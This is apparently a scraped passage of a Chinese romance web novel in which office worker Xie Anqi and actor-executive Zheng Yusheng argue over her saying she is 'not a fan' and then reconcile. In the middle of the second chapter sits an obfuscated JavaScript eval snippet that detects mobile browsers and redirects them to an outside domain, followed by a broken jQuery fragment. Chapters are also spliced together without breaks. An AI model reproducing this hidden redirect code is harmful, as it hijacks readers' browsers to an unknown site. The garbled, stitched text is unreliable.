KCpany四楼的办公区，午后阳光从西边落地窗斜照进来，把地毯映出一小块温热的橘色光斑。


    谢安琪趴在电脑屏幕前，戴着耳机，屏幕上播放的是一部十年前的独立文艺片。


    镜头里男主穿着旧毛衣，在空旷的天台抽烟，他眼睛一直看着天边直到太阳升起，音乐轻柔，她却感觉到一种令人窒息的逼仄，在那里他是一个次次失败的拳击手。


    郑禹胜——那时才刚出道，脸还没现在这样棱角分明，眼神却比现在更锋利。


    谢安琪盯着屏幕看得出神。她已经把这部电影看了三遍，可每次看，都能找到不同的情绪细节。


    “哎？你在看《日出城镇》？”身旁传来一个同事惊讶的声音。


    谢安琪猛地摘下耳机，下意识挡了一下屏幕。


    “……是啊。”她笑得有些僵。


    “你也是郑演员的粉丝啊？我还以为你和他认识，应该习惯他那张脸了。”


    另一人也凑过来：“你这眼神……不像是第一次看吧？眼睛都快贴上去了。”


    谢安琪忙按下暂停键，避开了他们调侃的视线：“我不是粉丝。”


    几个人愣了愣，彼此交换了个眼色，有人小声说：“不是粉丝，看那么认真做什么？”


    她没吭声，只把耳机摘下，点了保存，关了页面。


    就在这时，茶水间的门“哐”一声被推开，有人端着咖啡路过办公区。


    是郑禹胜。


    他刚从三楼会议室上来，经过这里，听到几人说笑。


    那句“我不是粉丝”，他听得清清楚楚。


    他脚步顿了顿，眼神朝谢安琪那边扫了一眼，没停，径直走向走廊尽头的资料室。


    气氛一时有些尴尬。


    谢安琪看着他离开的背影，忽然觉得胃一阵绞紧。


    她回到自己的小办公室，盯着桌面半晌没动。


    她当然知道他听见了。


    郑禹胜从不是那种情绪挂脸上的人，他所有的不悦和失望，都会在沉默里发酵，变成令人愧疚的安静。


    谢安琪烦躁地揉了揉头发。


    她的确不是“粉丝”。


    不是那种会在评论区刷“老公”、会买代言、会为应援投票的粉丝。


    她看他的电影，是因为他演过她梦里那个男孩的影子，是因为她想理解“过去的郑禹胜”，想从光影中找到一点自己无法亲口问出的答案。


    可这一切，他不知道。


    而她，也没机会解释。


    直到快下班时，部门群里发来通知：


    【明日早上10点，下季度策划初审将开始，请内容组提前准备好各自项目提案，营销组也需要在现场。】


    谢安琪愣了一下。


    桌上那张草稿纸上，有她不小心写下的一句旁白：


    “人眼里映出的光，永远不是镜头能剪辑出来的——除非你在意。”


    她拿起那张纸，揉了，又展开，最终轻轻压在文件夹底下。


    她决定，去找他说清楚。


    晚六点，公司逐渐空了。


    她在电梯口等了一会儿，看到行政小助理从资料室出来，说：“郑总还在楼上。”


    谢安琪点点头，转身走向五楼。


    五楼是KCpany的剧本审片区，常年拉着窗帘、灯光昏黄，走廊尽头有一间不太常用的会客室。


    她推开门，郑禹胜果然在。


    他站在白板前看分镜图，身侧的马克杯还冒着热气。他穿着黑色衬衫，袖子挽起，显得安静而冷淡。


    她轻轻敲了敲门。


    “可以聊两分钟吗？”


    他回头，看见她，眼神闪了一下，但没说话。


    谢安琪走进去，站在他不远处，低声说：“关于今天下午的事，我想解释一下。”


    他没动，只“嗯”了一声，等她继续。


    “我不是粉丝，”她开口，“是实话。”


    他说：“我知道。”


    “但我看你的电影，是因为我真的很想理解你过去的样子。”


    “理解我？”


    他终于看着她，语气像笑非笑：“你接近我、睡我、进入我公司，现在说不是粉丝，而是为了‘理解我’？”


    “我不是那个意思。”她喉头一紧，“你知道我不是来追星的。”


    “是啊。”他点头，语气放缓，却更难受，“你从来不是为我现在来的。你是为了过去的我。”


    谢安琪不说话。


    他转身回到白板前，说：“我拍了那么多年戏，你不是唯一一个研究我过去的人。但你是唯一一个，在我身边却还在想‘回去’的人。”


    谢安琪愣在原地，嗓子发干。


    “我从你说‘不是粉丝’那一刻起就明白了。”他说，“你不是不喜欢我。你只是更喜欢那个，在你记忆里、梦里的我。”


    她一步一步走过去，声音发颤：“郑禹胜，如果我说，我现在也喜欢你呢？”


    他抬眼看她，眼神像蒙了一层灰。


    “那是因为我和梦里他有几分像？”


    “不。”她摇头，“是因为你会在我说冷时递外套，会在我低落时递饭盒，还会在我失眠时讲自己拍戏失败的故事。”


    “你不是他。”她说，“你是你。你让我不再只想回到过去。”


    郑禹胜怔了一下，眼神松动。


    “那你愿意留下吗？”他问，“愿意只看现在的我？”


    谢安琪走近一步，眼眶红了：“我已经留在这儿了不是吗？”


    “那你明早要不要来早一点？”他忽然轻声说。


    她一愣。


    他低头看她，“我想听你讲讲，你心里现在的我，有没有比梦里的我，多一点分量。”


    梦里的我？梦里的我。


    谢安琪从来没有想过郑禹胜可能会记得什么。


    她只觉得难道是自己在梦里的时候，说了什么梦话吗？


    谢安琪离开会客室时，心口还跳得厉害。


    她回头看了一眼那盏昏黄的吊灯，灯光落在他黑衬衫的肩上，像某种柔软得不真实的回应。


    而他站在灯下，目送她离开，像是终于等来了一个真正“朝他而来”的人。KCpany新一季度IP孵化项目发布会定在了周五下午。


    会场选在首尔市江南文化展厅三层大会议厅，光线透亮，背景板是深蓝底金色字——“造梦者计划发布会”。


    谢安琪作为营销组新人，原本只是来协助文案资料的，不需要上台。但因为她提出的一个提案片段被列入展示内容，临时被安排参与互动答疑环节。


    她在后台等候时，郑禹胜正在前台做开场陈述。


    他换了深色西装，打了黑色细领带，头发比平时更整洁，镜头捕捉下来的轮廓分明，整个人散发着“主场”的从容。


    谢安琪站在侧幕，看着他。


    她忽然意识到——这是她第一次从“观众”视角看他工作。


    那份聚焦、条理、逻辑，以及偶尔一个轻笑间的魅力张力，几乎让她忘了，这个男人前两天还在灯光昏黄的会客室里对她低声说：


    “你不是来看我过去的。”


    “你是来看现在的我。”


    她低下头，不敢再想。


    轮到互动环节时，有观众问到内容组的年轻创作者想法，主持人笑着说：“我们今天现场也请到了我们内容部最近的年轻血液——谢安琪，大家欢迎她上台。”


    掌声落下，她被推着走到台中央。


    镁光灯打在脸上，有点晃。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478744|169893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她拿着麦克风，说话语速有点快：“我是‘城市听觉记忆’项目成员……这是一组围绕‘声音与记忆如何交织’展开的短片计划，我们想捕捉的是——那些通常被忽略的片段，比如便利店冰箱启动时的低鸣、天桥下雨水滑过管道的节奏、以及人群散去后留在公交站的风……”


    话还没说完，台下忽然传来一个轻笑：


    “你是郑老师粉丝吧？我们看后台有人在你座位上看到你看《日出城市》三遍，写了一堆旁白分析。”


    会场笑了一片，连主持人也笑着打趣：“安琪，你要不要澄清一下？到底是专业研究，还是私人兴趣？”


    现场镜头忽然推到她脸上。


    谢安琪脑中一瞬空白。


    而此刻，坐在第一排的郑禹胜，也正看着她，眉心微动。


    谢安琪垂着眼，嘴角勾了勾，声音温柔却带刺：


    “我不是粉丝，我只是对剧本有兴趣。郑老师演过的作品，也只是我分析的对象之一。”


    全场再次爆笑。


    主持人识趣地圆场：“好，专业角度第一位，感性部分……我们留到私下再聊。”


    她鞠躬退场。


    在退场瞬间，她余光扫到郑禹胜，他没有笑，只是看着她，眼神复杂，像是想起了什么又压了下去。


    发布会后。


    她没有和任何人打招呼，直接搭地铁回家。


    耳机里放的是她提案里那段“城市听觉”的原始录音——


    【夜里车窗合上的声音、老人推车碾过砖缝的轮声、楼上滴水的节奏……】


    她眼睛有点涩。


    她知道那句话伤人。


    可当众被拿来“调侃”，而他又在台下沉默，她就像一只独自站在台上的玻璃动物，被人敲了一下，就碎出一圈波纹。


    晚上十一点。


    她手机突然震了一下，是郑禹胜发来一条讯息：


    【能开门吗，我在你楼下。】


    她怔了几秒，然后起身下楼。


    车停在地下停车场，他站在边上，身上还穿着白天那身西装，只是领带松开了，头发有点乱，像刚经历一场沉默风暴。


    “你怎么来了？”她声音哑哑的。


    “想跟你说点事。”


    她没说话，转身跟他进车里。


    郑禹胜坐在驾驶位，眼神盯着她：“你下午说的那些，是在故意和我划清界限吗？”


    谢安琪：“你知道我不是粉丝。”


    “可你当众说‘我只是分析对象之一’。”


    “那你当众为什么不说话？”她回望他，“你就那样看着我，像是我配被人拿来开玩笑。”


    他喉结动了动：“你希望我说什么？”


    “说‘她不是粉丝，她是我喜欢的人’，你说得出口吗？”


    郑禹胜一怔。


    半晌后，他走近一步，低声说：“说得出口。”


    谢安琪抬头，眼神发红。


    “可你没说。”她哽咽道。


    郑禹胜伸手，把她抱进怀里。


    “对不起。”他声音低沉，“我不该让你一个人站在那种场合里。”


    “我也该想起你从来不擅长承认情绪。”


    她轻轻抬手环住他，鼻音带着委屈：


    “我不是分析你，我是真的很在意你。”


    他低头，额头抵着她的发顶：“我知道。”


    “我以后不让你在众人面前难堪了。”


    “那我以后也不在众人面前逞强了。”她轻轻笑，“我可以说我是粉丝，但不是路人的那种，是……睡过你，喜欢过你，还想一直看你演戏的那种。”


    郑禹胜失笑。


    他抱紧她，像终于解开了一个无声的结。


    是拥抱，不是试探。